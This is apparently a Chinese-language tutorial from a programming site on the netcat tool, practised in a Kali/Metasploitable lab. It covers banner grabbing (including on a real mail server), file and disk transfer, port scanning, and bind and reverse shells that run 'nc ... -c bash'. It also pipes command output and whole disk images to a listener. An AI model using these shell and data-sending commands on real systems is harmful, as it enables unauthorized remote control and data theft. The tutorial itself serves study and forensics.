概述
NETCAT——NC
nc的可以做到的事情
- 网络工具中的瑞士军刀——小身材,大智慧
- 侦听模式
- telnet/获取banner信息
- 传输文本信息
- 传输文件/目录
- 加密传输文件
- 远程控制/木马
- 加密所有流量
- 流媒体服务器
- 远程克隆硬盘
Banner
Banner信息,欢迎语,在banner信息中可以得到软件开发商,软件名称、版本、服务类型等信息,通过这些信息可以使用某些工具直接去使用相对应的exp去攻击。
前提条件:需要和目标建立链接,只有建立了链接,我们才能获取对应的banner信息
目标服务器上可以对banner进行隐藏或者禁止读取
NC-TELNET/BANNER
-v:显示详细连接相关信息
-n:后面跟ip地址,-n参数指不会进行dns解析,一般我们使用nc直接进行连接,不建议nc后面跟域名。
nc -vn ip 端口
如图实例。返回banner信息,我们可以知道163邮箱使用了coremail实现邮件服务
参数:
-h 帮助信息
-l 监听模式,用于入站连接
-n 指定数字的IP地址,不能用hostname
-u UDP模式
-t TCP模式(默认模式)
-v 详细输出——用两个-v可得到更详细的内容
-w secs timeout的时间
-z 将输入输出关掉——用于扫描时
其中端口号可以指定一个或者用lo-hi式的指定范围。
#使用 nc 连接 163 邮箱
root@kali:~# ping pop3.163.com
root@kali:~# nc -vn 123.125.50.29 110
(UNKNOWN) [123.125.50.29] 110 (pop3) open
+OK Welcome to coremail Mail Pop3 Server (163coms[b62aaa251425b4be4eaec4ab4744cf47s])
USER test@163.com
-ERR źµŕʺƔފ±²»¿ʓn¿ʄܵŔӲˇ:źµŕʺŶൎ³¢˔´µŃ݂鬳䚰²ȫ¿¼Ç,ϒćʱО׆źµŕʺŵðop·Ďˈ¨О
+OK core mail
# 出现乱码,账号和密码需要 base64 编码
root@kali:~# base64
test@163.com【ctrl+d】
dGVzdEAxNjMuY29tCg==
root@kali:~# nc -vn 123.125.50.29 110
(UNKNOWN) [123.125.50.29] 110 (pop3) open
+OK Welcome to coremail Mail Pop3 Server (163coms[b62aaa251425b4be4eaec4ab4744cf47s])
USER dGVzdEAxNjMuY29tCg==
+OK core mail
root@kali:~# nc -nv 192.168.1.110 25
(UNKNOWN) [192.168.1.110] 25 (smtp) open
220 metasploitable.localdomain ESMTP Postfix (Ubuntu)
//连接80端口
root@kali:~# nc -nv 192.168.1.110 80
(UNKNOWN) [192.168.1.110] 80 (http) open
head /
1. 传输文本信息
可以作为客户端,也可以作为服务端,如下:a作为服务端监听4444端口,b进行连接
A: root@kali:~# nc -l -p 4444
B: root@metasploitable:~# nc -nv 192.168.1.100 4444
# 可以传递输入的消息
# 电子取证的时候要求被审计的目标尽可能少的被修改硬盘数据,可以使用 nc 进行传递消息
如果想要在B上执行命令,但不想显示在B上,我们可以在服务端A监听一个端口,然后在B上输入命令,通过A的ip和端口输出到服务端A。
A: root@kali:~# nc -l -p 4444
B: root@metasploitable:~# ls -l | nc -nv 192.168.1.100 4444
在服务端A输入nc -l -p 4444 > ps.txt
表明监听到的4444端口的信息都输入到ps.txt中,也就是说,在B中输入命令发送到A的ps文件中
root@kali:~# nc -l -p 4444 > ps.txt
加上-q 时间
表明命令执行完成后几秒断开连接,可以通过-q来进行判断命令是否执行,否则一直保持连接状态无法判断是否执行
root@metasploitable:~# ps aux | nc -nv 192.168.1.100 -q 1
# -q 1 : 1秒之后断开连接
A: root@kali:~# nc -l -p 4444 > lsof.txt
B: root@metasploitable:~# lsof | nc -nv 192.168.1.100 4444 -q 1
2. 传输文件/目录
在服务端输入A代码,将监听的端口内容输出到2.MP4,在客户端将文件输入到192.168.1.100的4444端口
• 传输文件( B->A )
A:root@kali:~# nc -lp 4444 > 2.mp4
B:root@metasploitable:~# nc -nv 192.168.1.100 4444 < AWVS 01.avi -q 1
或(A->B)
A:root@kali:~# nc -q 1 -lp 4444 < 2.mp4
B:root@metasploitable:~# nc -nv 192.168.1.100 4444 > 3.mp4
3. 传输目录
B加密->A解密
A:root@kali:~# tar zcvf - testdir/ | nc -lp 4444 -q 1
B:root@metasploitable:~# nc 192.168.1.100 4444 | tar zxvf -
4. 加密传文件
不是nc里面的功能,是调用了新系统的加密功能,需要安装相应加密工具
A:root@kali:~# nc -lp 4444 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.mp4
B:root@metasploitable:~# mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.mp4 | nc -nv 192.168.1.100 333 -q 1
5. 流媒体服务器
B的视频流输入到A,A本地不会还原出文件内容
//将3.mp4重定向到333端口
A: root@metasploitable:~# cat 3.mp4 | nc -lp 333
//客户端连接ip:333端口,接收流,会直接播放
B: root@kali:~# nc -nv 192.168.1.110 | mplayer -vo x11 -cache 3000 -
6. 端口扫描
-z:扫描模式
-nv
root@kali:~# nc -nvz 192.168.1.110 1-65535
root@kali:~# nc -nvz 192.168.1.110 1-1024
7. 远程克隆硬盘
B:作为被取证的电脑
• A: root@kali:~# nc -lp 4444 | dd of=/dev/sda
• B: root@metasploitable:~# dd if=/dev/sda | nc -nv 192.168.1.100 4444 -q 1
• 远程电⼦子取证,可以将目标服务器硬盘远程复制,或者内存。
8.远程控制
• 正向:(B->A)B控制A
如果有人连接A的333端口,A(服务器)就会通过333端口传过去自己的shell
• A:root@kali:~# nc -lp 333 -c bash
• B:root@metasploitable:~# nc -nv 192.168.1.100 333
• 反向:(A->B)
• A:nc -lp 333
• B:nc 1.1.1.1 333 -c bash
• 注:Windows用户把bash改成cmd;
NC缺点
-
Nc缺乏加密和⾝身份验证的能力
- 打开的端口所有人都可以去连
-
Ncat包含于nmap⼯工具包中,可以弥补nc的不足
- ncat管道是加密的,如果有人抓包,里面数据都是被加密的
-
不同操作系统nc版本可能不同,因此需要查询手册,man 命令
#allow:允许访问的ip
//服务器端A侦听333端口,A把自己的shell交给B
A:root@kali:~# ncat -c bash --allow 192.168.1.110 -vnl 333 --ssl
B:root@metasploitable:~# ncat -nv 192.168.1.100 333 --ssl
最后
以上就是饱满冷风为你收集整理的2.常见工具——NETCAT的全部内容,希望文章能够帮你解决2.常见工具——NETCAT所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复